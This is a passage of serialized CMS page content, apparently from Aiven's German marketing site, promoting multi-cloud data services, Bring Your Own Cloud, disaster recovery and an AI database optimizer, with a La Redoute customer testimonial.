GDPR."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"an6p667qz8l73ui2gqxv6kjws4j8cpld","_type":"block","children":[{"_key":"w8zuzxm500qrjfnk8tovne552vue8rkx","_type":"span","marks":["strong"],"text":"Sichere Konnektivität:"},{"_key":"cb2411467f82","_type":"span","marks":[],"text":" Sichere Netzwerkverbindungen über VPC-Peering, PrivateLink oder TransitGateway-Technologien."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7e330kmesqxb9u8sh0nqf56b8els11v6","_type":"block","children":[{"_key":"haj5jqf38ic41vhm1wgke7u7s2gpzsrx","_type":"span","marks":["strong"],"text":"Erweiterte Sicherheitsmaßnahmen:"},{"_key":"b20ea65cfe30","_type":"span","marks":[],"text":" Schützen Sie Ihre Daten mit Verschlüsselung, Authentifizierungsintegration, Durchsetzung von Richtlinien und Einhaltung von Datenschutzbestimmungen."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Verwaltung von Daten, Sicherheit und Compliance"},{"_key":"0yqe2chr898giin3t9v7ogy3rnm7arwv","_type":"accordionItem","id":"multi-cloud","panelText":[{"_key":"21frczi902raj9ues4y8doam7wktmxb3","_type":"block","children":[{"_key":"49439f2eccae","_type":"span","marks":[],"text":"Verwandeln Sie „Multi-Cloud“ von der einfachen Nutzung verschiedener Anbieter in die Erstellung umfassender Lösungen für alle Anbieter in einer einzigen, Cloud-unabhängigen Umgebung. "}],"markDefs":[],"style":"normal"},{"_key":"aakgf6uuvr49zf4l9d478pczsglbo3c8","_type":"block","children":[{"_key":"j8vnao9erfsz66h73av7mek020qrqqvw","_type":"span","marks":["strong"],"text":"Einheitliches Management:"},{"_key":"cd8bc142356d","_type":"span","marks":[],"text":" Vereinfachen Sie Abläufe mit einer einzigen Plattform für Sicherheit, Governance und Ausführung über mehrere Cloud-Anbieter hinweg."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"whv4gndhx8yknvah4mtxmv1wj69jeuon","_type":"block","children":[{"_key":"8x3x8n3i6evg5ieebaxsjko0i7z8pidl","_type":"span","marks":["strong"],"text":"Flexibilität und Auswahl:"},{"_key":"d384810f6688","_type":"span","marks":[],"text":" Stellen Sie Datendienste bei einem der 6 führenden Cloud-Anbieter und in über 100 Regionen bereit, um eine optimale Arbeitsverteilung zu ermöglichen."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0zim4epsljmj4x1b2e4s8xpzfmc3cjwb","_type":"block","children":[{"_key":"5gd44s3zjkb8j3kw32hr0cot6pn6ooww","_type":"span","marks":["strong"],"text":"Nahtlose Migration: "},{"_key":"e56b0f230655","_type":"span","marks":[],"text":"Verschieben Sie Arbeitsvolumen mühelos zwischen Clouds, um Latenzzeiten, Kosten, Disaster Recovery oder regulatorische Anforderungen zu erfüllen."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"yb1qwrm030tghbm8oc6iem0k6mm99jv1","_type":"block","children":[{"_key":"ht8r14h55twhgukkfwiwq4lawbufuxyq","_type":"span","marks":["strong"],"text":"Kosten kontrollieren:"},{"_key":"b90c13955e1c","_type":"span","marks":[],"text":" Nutzen Sie Bring Your Own Cloud (BYOC) von Aiven für eine bessere Kostenoptimierung und Kontrolle der Infrastruktur."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Multi-Cloud Lösungen"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b","topOverlap":false},{"_key":"cgnzin77gybbnoswp5iddvwv5qbov9ge","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"disabled":false,"fullWidth":false,"headerPosition":"default","id":"why","items":[{"_key":"onab4u4p1wlplkiqf0v39ld54761x50f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1bad2cbbcacb","_type":"block","children":[{"_key":"3837629310ae0","_type":"span","marks":[],"text":"Zentralisieren Sie den Betrieb von Datendiensten, Infrastrukturbereitstellung und Sicherheit über mehrere Clouds hinweg, um Leistung und Kosten zu optimieren. Vereinfachen Sie das Datenmanagement mit einer gemeinsamen Steuerungsebene und einem gemeinsamen Datenmodell, um die Entwicklung zu beschleunigen."}],"markDefs":[],"style":"normal"}],"title":"In jeder Cloud einsetzbar","variant":"icon-card"},{"_key":"ishgx6896men65oh0wnq1ltin3rox1wu","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"248fd6e29dfb","_type":"block","children":[{"_key":"3a55e1fef9a10","_type":"span","marks":[],"text":"Genießen Sie die Freiheit, sich alle Optionen offen zu halten, und erreichen Sie echte Datenflexibilität mit Open Source in allen wichtigen Clouds. Optimieren Sie Kosten und Leistung und erhalten Sie mit den Open-Source-Diensten von Aiven Zugang zu einem größeren Talentpool."}],"markDefs":[],"style":"normal"}],"title":"Freie Auswahl","variant":"icon-card"},{"_key":"dqm15pwl3gpowt5xwa0pce7r8oplw37e","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2140803cedc4","_type":"block","children":[{"_key":"d7418fa1b3410","_type":"span","marks":[],"text":"Beschleunigen Sie Ihr Wachstum, indem Sie Ihren Entwicklern die Möglichkeit geben, sich auf neue Projekte zu konzentrieren, während wir Ihre Infrastruktur verwalten. Beschleunigen Sie die Codierung, optimieren Sie die Auslastung, verkürzen Sie die Problemlösungszeit und erhöhen Sie die Betriebszeit, indem Sie die AI-gesteuerten Erkenntnisse von Aiven nutzen."}],"markDefs":[],"style":"normal"}],"title":"Entfesseln Sie die Innovation der Entwickler","variant":"icon-card"},{"_key":"tcma7sj8kui0oxz9lqpxtrcw3276a3b2","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"64tlcedi9rqguzmy03h0k3p08llmjspc","_type":"block","children":[{"_key":"8lxx7fkdiyadqkl1a0a7ia9z3k26olgq","_type":"span","marks":[],"text":"Verbesserte Geschäftskontinuität durch "},{"_key":"4b327725064f","_type":"span","marks":["strong"],"text":"Cloud- und regionenübergreifendes Disaster Recovery"},{"_key":"e3e9c193afd2","_type":"span","marks":[],"text":" mit praktisch keinen Ausfallzeiten für Skalierung, Upgrades und anderen Verwaltungsvorgänge. Hohe Verfügbarkeit mit einer monatlichen Betriebszeit von 99,99 % und automatischen Backups."}],"markDefs":[],"style":"normal"}],"title":"Belastbarkeit","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"4725a44571da","_type":"block","children":[{"_key":"769b26d775020","_type":"span","marks":[],"text":"Optimieren Sie Entwicklungszeit und -kosten mit unserer Daten- und AI-Plattform. Sie bietet Ihnen hohe Verfügbarkeit, fachkundigen Support, zentralisierte Sicherheit und Verwaltung, um Ihre Geschäftsanforderungen zu erfüllen."}],"markDefs":[],"style":"normal"},{"_key":"r53bq5zjcu07aecbkcq70wusd5b8x8hv","_type":"block","children":[{"_key":"2p1zffutb7r98hqy7xtc5uabhfa8vk5g","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"tagline":"WARUM AIVEN","title":"Vereinfachung der Cloud-Dateninfrastruktur und Risikominimierung","topOverlap":false},{"_key":"2ih3ai7zobue58mb329jut7odk0b1osw","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"t2hpaqfxyjvsgawn61nw82rzwoew5ia3","_ref":"77cGJ1NZ9Y7b4XMtjpJjas","_type":"reference"},{"_key":"idvs2gu01ozdugbnmjp8dcn5plf0tsow","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},{"_key":"n9yv55atolk5va8jbr7yva1rty41hga8","_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},{"_key":"1xruwnhywlib5xqh1cicnx6wbyotrenl","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"81e294d73fbcbe3b7088ac42bc3ab821","_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},{"_key":"h19tnhuo8eejwy9u80fbj1rts2qxpcnx","_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-br","tagline":"BRANCHENFÜHRER WELTWEIT VERTRAUEN AIVEN","variant":"logo"},{"_key":"3gui4ptsdx7gvxa9fhg7nh09kfn92ogi","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"id":"benefit","items":[{"_key":"rrg5d8brdc45le3azjpxj9t66obiv6mf","_type":"tabItem","content":[{"_key":"xtpssff0scd06iyo6woulor9e1ynpw5i","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-635a884182537257d97ac7d13e3e0ed89d3de4b1-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"80abceb1520d","_type":"block","children":[{"_key":"8ef491a232990","_type":"span","marks":[],"text":"Multi-Cloud-Lösungen"}],"markDefs":[],"style":"h4"},{"_key":"7a7bb15832b7","_type":"block","children":[{"_key":"4a7f1fbd85510","_type":"span","marks":[],"text":"Die Fähigkeit von Aiven, jede beliebige Cloud zu nutzen, bietet Ihrem Unternehmen folgende Möglichkeiten:"}],"markDefs":[],"style":"normal"},{"_key":"tfvy5rj6nb4fu0k1pl13naxvp0tbeb53","_type":"block","children":[{"_key":"4jwycrr4npxo3jpgxv6o6pwzu6j3kbzp","_type":"span","marks":["strong"],"text":"Optimierung von Arbeitsaufwand und Kosten:"},{"_key":"36c25371c71e","_type":"span","marks":[],"text":" Wählen Sie für jede Aufgabe den idealen Cloud-Anbieter, um Performance und Kosteneffizienz zu maximieren. Profitieren Sie von wettbewerbsfähigen Preisen verschiedener Cloud-Anbietern."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"wt9tedb27sjxdmbcne9td8g41e4up4xu","_type":"block","children":[{"_key":"id8tcxv5c0gs5t6jktp9cagv0hqgpdc8","_type":"span","marks":["strong"],"text":"Risikominimierung:"},{"_key":"c10056e1b1bf","_type":"span","marks":[],"text":" Verteilen Sie Daten und Anwendungen über Regionen und Anbieter hinweg, um die Geschäftskontinuität zu verbessern."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"iuowrq6ruxl7a1gl8lzkg6h10ozxmmk2","_type":"block","children":[{"_key":"7ie3xbj3l97j4sxf4rodptn2gd3teql5","_type":"span","marks":["strong"],"text":"Optimierte Abläufe:"},{"_key":"b9e695a88846","_type":"span","marks":[],"text":" Verwalten Sie Ihre Dateninfrastruktur auf einer zentralen Plattform über mehrere Clouds hinweg, um die Komplexität zu reduzieren und die Einhaltung von Vorschriften zur Datenresidenz zu gewährleisten."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"},{"_key":"348dkhywzlyi9i7opvsj6iywcsvbwujd","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"0t203tqktn7wsw2xy2l3l77zlzblyy73","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fcuauz8ybltdbne9dp5kinqh0569u91h","_type":"block","children":[{"_key":"3ifpgntkf5pqdxk5vig2v5onli9pl4rr","_type":"span","marks":[],"text":"Deploy on your preferred cloud providers (AWS, Google Cloud, Microsoft Azure, etc.)."}],"markDefs":[],"style":"normal"}],"title":"Flexibility and Choice"},{"_key":"uj0gtoiy2iw6ql4rb4tpncpx87rz3uwn","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9urc5ing5ps9z4yoc4grlisozbnxr18t","_type":"block","children":[{"_key":"56kzu03kbciw9gjnrklhkvmcqm9v7lpr","_type":"span","marks":[],"text":"Leverage each cloud's strengths for specific workloads."}],"markDefs":[],"style":"normal"}],"title":"Performance Optimization"},{"_key":"l7lrvrxfelqcc06wtan2eun7c5dfjdxs","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"p3aeizielhqohabkdbeawpl8l8471u9s","_type":"block","children":[{"_key":"de2vwhegg93wi1wmhqnal893bhptbcub","_type":"span","marks":[],"text":"Leverage each cloud's strengths for specific workloads."}],"markDefs":[],"style":"normal"}],"title":"Compliance"},{"_key":"lhal75t3ms5enytqgp2r0kg37gpss597","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"cfge9arlu0cdk3b5gkq2gvpaxmq6ycj3","_type":"block","children":[{"_key":"h88kp7629ks1p2wgjzoacaamhgm5pthb","_type":"span","marks":[],"text":"Benefit from competitive pricing across different cloud providers."}],"markDefs":[],"style":"normal"}],"title":"Cost Optimization"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false}],"id":"cloud-deployment","imageHeight":35,"title":"Einsatz in jeder Cloud"},{"_key":"x990exmzsg2c65u1i8ujko3sjey29dxj","_type":"tabItem","content":[{"_key":"az3lapoj9iyitgxdyfy2mz3gmgd6ayb3","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ea3d93b74e585101e7b69a41ab8add66390488ff-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"8t53xcowkurf3mqqpu1wefvi17j9vy41","_type":"block","children":[{"_key":"gu9cdpupmc0ix0ljbp8dvm53x06evl3d","_type":"span","marks":[],"text":"Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"h4"},{"_key":"3a5f1b2d27f8","_type":"block","children":[{"_key":"42dfe6af6f0f0","_type":"span","marks":[],"text":"Aiven bietet flexible Bereitstellungsoptionen für Ihre Datendienste, die unterschiedlichen geschäftlichen Anforderungen und Präferenzen gerecht werden. Wählen Sie das Bereitstellungsmodell, das am besten zu den Prioritäten Ihres Unternehmens passt, sei es einfache Handhabung, Kosteneinsparungen oder maximale Kontrolle."}],"markDefs":[],"style":"normal"},{"_key":"7y80h5exs8taqs1vvgf3fvh247b7v658","_type":"block","children":[{"_key":"ebscdolt3828i9vjld3jt7ud3m1zlnxh","_type":"span","marks":["strong"],"text":"Aiven infrastructure:"},{"_key":"egjq1nkyi8xgq4nn60fsk6d7vlo9qe2o","_type":"span","marks":[],"text":" Eine unkomplizierte Lösung, bei der sich Aiven um alle Cloud-Konfigurationen, die Wartung und die Kosten kümmert, damit Sie sich auf Ihr Kerngeschäft konzentrieren können.\n"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"meq8gr955tnt07kw6n28byv3pts1myc3","_type":"block","children":[{"_key":"7aphlqxyfz1n1k6exz5bc3rk72871cf9","_type":"span","marks":["strong"],"text":"Bring Your Own Cloud (BYOC):"},{"_key":"8qzcrlq4uhr22wfqvzaqy0d3tym4i5p5","_type":"span","marks":[],"text":" Stellen Sie Aiven-Dienste direkt in Ihrem bestehenden Cloud-Account bereit und erhalten Sie mehr Kontrolle über Ihre Daten und Infrastruktur. Dank BYOC können Sie:"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"56841fd66d87","_type":"block","children":[{"_key":"bce1e92d5f620","_type":"span","marks":[],"text":"Ihre bestehenden Cloud-Investitionen und ausgehandelten Rabatte nutzen."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"28ecbd7a884c","_type":"block","children":[{"_key":"e72ccaea1a0b","_type":"span","marks":[],"text":"Die strikte Kontrolle über Ihre Daten behalten und spezifische Sicherheits- oder regulatorische Vorschriften erfüllen."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a9c38015a428","_type":"block","children":[{"_key":"3b2934150b53","_type":"span","marks":[],"text":"Ihre Infrastruktur an Ihre individuellen Bedürfnisse anpassen."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ffec57b3e21e","_type":"block","children":[{"_key":"455904bc7203","_type":"span","marks":[],"text":"Von der Expertise und dem Support von Aiven profitieren und gleichzeitig die volle Kontrolle behalten."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"byoc","imageHeight":35,"title":"Bring your own cloud"},{"_key":"aanowo7ggyc8i6mg9zoxdifni0opuoek","_type":"tabItem","content":[{"_key":"ph2igi07l1hkqo94hdljsdxtp10a0b6c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-c9c3daf8dc4477217535d7205e2cc50055e5e84b-2057x1524-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"aade02a7bd4b","_type":"block","children":[{"_key":"ad379708aae40","_type":"span","marks":[],"text":"Auswahl integrierter Open-Source-Dienste"}],"markDefs":[],"style":"h4"},{"_key":"840df4f7e15e","_type":"block","children":[{"_key":"62d90f10089d0","_type":"span","marks":[],"text":"Nutzen Sie diejenigen der beliebten Datendienste von Aiven, die am besten zu Ihren spezifischen Anwendungsfällen passen. Damit können Sie Daten streamen, speichern und Ihren Systemen und Anwendungen zur Verfügung zu stellen."}],"markDefs":[],"style":"normal"},{"_key":"u6u4m83oai3yu5lyv6gihil8jh9rke50","_type":"block","children":[{"_key":"w4b8mjtel3inwe3stz8wsr4l6n1ai1mg","_type":"span","marks":["strong"],"text":"Schnellere Entwicklung mit qualifizierten Mitarbeitern:"},{"_key":"9214065aaded","_type":"span","marks":[],"text":" Sie haben Zugang zu einer großen Gemeinschaft von Open-Source-Experten."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"gvvymb1he39dnozilr86oxue06n0qewg","_type":"block","children":[{"_key":"xdp27gpr2mhiz6q3o1rhpkn7d4sko0im","_type":"span","marks":["strong"],"text":"Innovation und Zusammenarbeit:"},{"_key":"0e31650236b8","_type":"span","marks":[],"text":" Profitieren Sie von der Open-Source-Kultur der Zusammenarbeit, durch die die Entwicklung neuer Funktionen und Verbesserungen beschleunigt wird."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8lofuxn08s3nkc8npebn0m5qycd7eiru","_type":"block","children":[{"_key":"gpmmpo37q9wv8p0466402n8yqb3eq4jf","_type":"span","marks":["strong"],"text":"Sicherheit und Zuverlässigkeit:"},{"_key":"37e624c5f93b","_type":"span","marks":[],"text":" Höhere Sicherheit und Zuverlässigkeit im Vergleich zu proprietärer Software, deren Code nicht öffentlich zugänglich ist. Der offene Charakter von Open Source stellt sicher, dass viele Augen den Code ständig überprüfen und testen."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"open-choice","imageHeight":35,"title":"Freie Wahl"},{"_key":"jdrsb5ue5pxa4gibncsh7tj2ybd1bux7","_type":"tabItem","content":[{"_key":"hlm65c144noiksmrxxmccnbah16c113b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-9b01b0a773b4b098e15eebbda02b7d93243c2fe8-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"2fe6e6d709ea","_type":"block","children":[{"_key":"0efa2e87f0dd0","_type":"span","marks":[],"text":"Cloud- und regionenübergreifendes Disaster Recovery"}],"markDefs":[],"style":"h4"},{"_key":"bc521a89ccc5","_type":"block","children":[{"_key":"7627361f13e30","_type":"span","marks":[],"text":"Aiven stellt sicher, dass Ihre Dateninfrastruktur hochverfügbar, zuverlässig und auch bei Störungen oder Ausfällen betriebsbereit ist."}],"markDefs":[],"style":"normal"},{"_key":"cuf6r4ini3oce13ux65pzo9x3dokusbo","_type":"block","children":[{"_key":"4yvzuigyagg56firl2tyv9sratiiffab","_type":"span","marks":["strong"],"text":"Hochverfügbarkeit:"},{"_key":"688d8fdebfab","_type":"span","marks":[],"text":" Nutzen Sie mehrere Verfügbarkeitszonen, Regionen und Provider, um sicherzustellen, dass Ihre Daten repliziert und über mehrere Standorte verteilt sind. Sollte ein Standort oder Provider ausfallen, können Ihre Dienste nahtlos auf einen anderen umgeschaltet werden, wodurch Ausfallzeiten minimiert werden.\n"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ffrf48hq3vwpm73t08pqvafg44ucg5ic","_type":"block","children":[{"_key":"iq187txxdfs1k62k0ec4s0tn8l3uv28u","_type":"span","marks":["strong"],"text":"Automatisierte Backups und Wiederherstellung:"},{"_key":"90f56dce637d","_type":"span","marks":[],"text":" Aiven erstellt in regelmäßigen Abständen automatisch Backups Ihrer Daten. Im Falle eines Datenverlusts oder einer Datenbeschädigung können Sie Ihre Daten problemlos aus diesen Backups wiederherstellen und so die Geschäftskontinuität gewährleisten."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"resiliency","imageHeight":35,"title":"Belastbarkeit"},{"_key":"ynw9hyp7ej56fhzfa8mcflm103jbxmmh","_type":"tabItem","content":[{"_key":"gh0j3fbnfvu5m87j7vnd1g7ej8pk4qdr","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-b8cbad57d7c3262bf8c339fba325e295bef25590-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"e09cd72a419c","_type":"block","children":[{"_key":"ad3d3db5d00f0","_type":"span","marks":[],"text":"KI-Datenbankoptimierung zur Steigerung der Effizienz"}],"markDefs":[],"style":"h4"},{"_key":"lhdz4t8ggcivf4qxv7rgpsc1uscboz69","_type":"block","children":[{"_key":"tm701z771ezo8b4j1r073p9wj0n422sw","_type":"span","marks":[],"text":"Der "},{"_key":"541cdede6319","_type":"span","marks":["cc5229db1ea4"],"text":"AI Database Optimizer von Aiven"},{"_key":"96058369d894","_type":"span","marks":[],"text":" hilft Ihrer Organisation schnell dabei, PostgreSQL- und MySQL-Abfragen zu optimieren, um Entwicklungszeit zu sparen und die Datenbankkosten zu senken."}],"markDefs":[{"_key":"cc5229db1ea4","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"},{"_key":"8ftka84tkxa9hf5d2rcvve33balww5el","_type":"block","children":[{"_key":"be30b0dd6b4e","_type":"span","marks":["strong"],"text":"Entwicklung beschleunigen:"},{"_key":"981a22f43672","_type":"span","marks":[],"text":" Erhalten Sie KI-gesteuerte Vorschläge für Indexierung und SQL-Umschreibungen innerhalb von Minuten."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"t704vjrjvb6a7b6spljq468zbkhko2e2","_type":"block","children":[{"_key":"0c45aedbb570","_type":"span","marks":["strong"],"text":"Reaktionszeit bei Vorfällen reduzieren:"},{"_key":"3edca2bc04ac","_type":"span","marks":[],"text":" Nutzen Sie Echtzeit-Leistungsanalysen und Optimierungsvorschläge."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"lsi7n6i36k392zh3lmcgoyuw4cjkrq0z","_type":"block","children":[{"_key":"7c075a93885c","_type":"span","marks":["strong"],"text":"Vor der Produktion optimieren:"},{"_key":"fa8ce4837439","_type":"span","marks":[],"text":" Stellen Sie sicher, dass Anwendungen leistungsstark und skalierbar sind, bevor sie veröffentlicht werden."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"iclt6p6njpy8oj1bsprgrcswgahn5fuk","_type":"block","children":[{"_key":"625695307096","_type":"span","marks":["strong"],"text":"DBA-Ressourcen freisetzen:"},{"_key":"e62560711589","_type":"span","marks":[],"text":" Ermöglichen Sie Datenbankadministratoren (DBAs), sich auf wertschöpfende Aufgaben zu konzentrieren."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai","imageHeight":35,"title":"KI-Datenbankoptimierung"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","title":"Die Vorteile der Aiven-Plattform","topOverlap":false,"variant":"button-toggle"},{"_key":"nqz52zzwi1v8gpf159f5bbvhtlezr9ry","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"b8g9s0p8psyrhmsx0gq4oh35c6dya0fq","_type":"testimonialItem","company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"9690f66f869f","_type":"block","children":[{"_key":"9a79bb0de4710","_type":"span","marks":[],"text":"La Redoute übernimmt die Kontrolle über die Cloud-Kosten mit Aivens Bring Your Own Cloud auf Microsoft Azure"}],"markDefs":[],"style":"normal"},{"_key":"ccf38d1a4402","_type":"block","children":[{"_key":"e8f10d0fef1c0","_type":"span","marks":[],"text":"„Durch den Wechsel zu BYOC haben wir unsere Cloud-Kosten unter Kontrolle. Wir konnten die zusätzlichen Kosten für den Wechsel von einem Anstieg von 40 % auf einen Anstieg von 14 % reduzieren. Dies war für das Unternehmen angesichts der Verlagerung in neue, teurere Azure-Regionen durchaus akzeptabel. Wir haben dann interne Initiativen innerhalb des DBA-Teams gestartet, um diesen Anstieg auf eine positive Nettoeinsparung zu reduzieren, z.B. durch das automatische Herunterfahren von nicht produktiven Datenbanken außerhalb der Arbeitszeiten.\""}],"markDefs":[],"style":"normal"}],"jobTitle":"Cloud Transformation and Database Manager, La Redoute","name":"Diogo Gomes","ytId":"mPWxizlA3so"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showCompanyLogoAndTags":false,"subtitle":[],"title":"Customer spotlight","variant":"media"},{"_key":"pcho137qwilu9m1j3rnxor1lv4conx9s","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"724d19d76836","_type":"testimonialItem","company":{"_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},"content":[{"_key":"1ee378a33f21","_type":"block","children":[{"_key":"c725cae946020","_type":"span","marks":[],"text":"Conrad Electronic mit Sitz in Deutschland bietet eine moderne Beschaffungsplattform für 21 Millionen Kunden weltweit. Das Unternehmen hat sich zum Ziel gesetzt, die führende 